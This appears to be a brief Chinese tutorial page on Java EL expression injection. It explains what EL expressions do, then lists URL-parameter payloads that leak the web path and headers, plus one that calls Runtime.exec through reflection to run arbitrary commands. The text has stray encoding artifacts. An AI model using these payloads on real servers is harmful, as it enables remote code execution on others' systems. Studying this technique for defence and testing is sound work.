当前位置: 首页 > >

EL表达式漏洞利用

发布时间:

一、EL表达式简介


  EL 全名为Expression Language。EL主要作用:
  1、获取数据
    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
  2、执行运算
    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
  3、获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  4、调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。


1.1、获取数据

  使用EL表达式获取数据语法:"${标识符}"
  EL表达式语句在执行时,会调用pageContext.findAttribute方法,用标识符为关键字,分别从page、request、session、application四个域中查找相应的对象,找到则返回相应对象,找不到则返回”” (注意,不是null,而是空字符串)。


  EL表达式可以很轻松获取JavaBean的属性,或获取数组、Collection、Map类型集合的数据


利用的形式:http://网址?value=${El表达式}


常用的参数:?


${pageContext}?对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)


${pageContext.getSession().getServletContext().getClassLoader().getResource("")}? ?获取web路径


${header}? 文件头参数


${applicationScope} 获取webRoot


${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}? 执行命令


Runtime的一些解释:


? exec(String command)?
? ? ? 在单独的进程中执行指定的字符串命令。?
? exec(String[] cmdarray)?
? ? ? 在单独的进程中执行指定命令和变量。?
? exec(String[] cmdarray, String[] envp)?
? ? ? 在指定环境的独立进程中执行指定命令和变量。?
? exec(String[] cmdarray, String[] envp, File dir)?
? ? ? 在指定环境和工作目录的独立进程中执行指定的命令和变量。?
? exec(String command, String[] envp)?
? ? ? 在指定环境的单独进程中执行指定的字符串命令。?
? exec(String command, String[] envp, File dir)?
? ? ? 在有指定环境和工作目录的独立进程中执行指定的字符串命令。?



友情链接: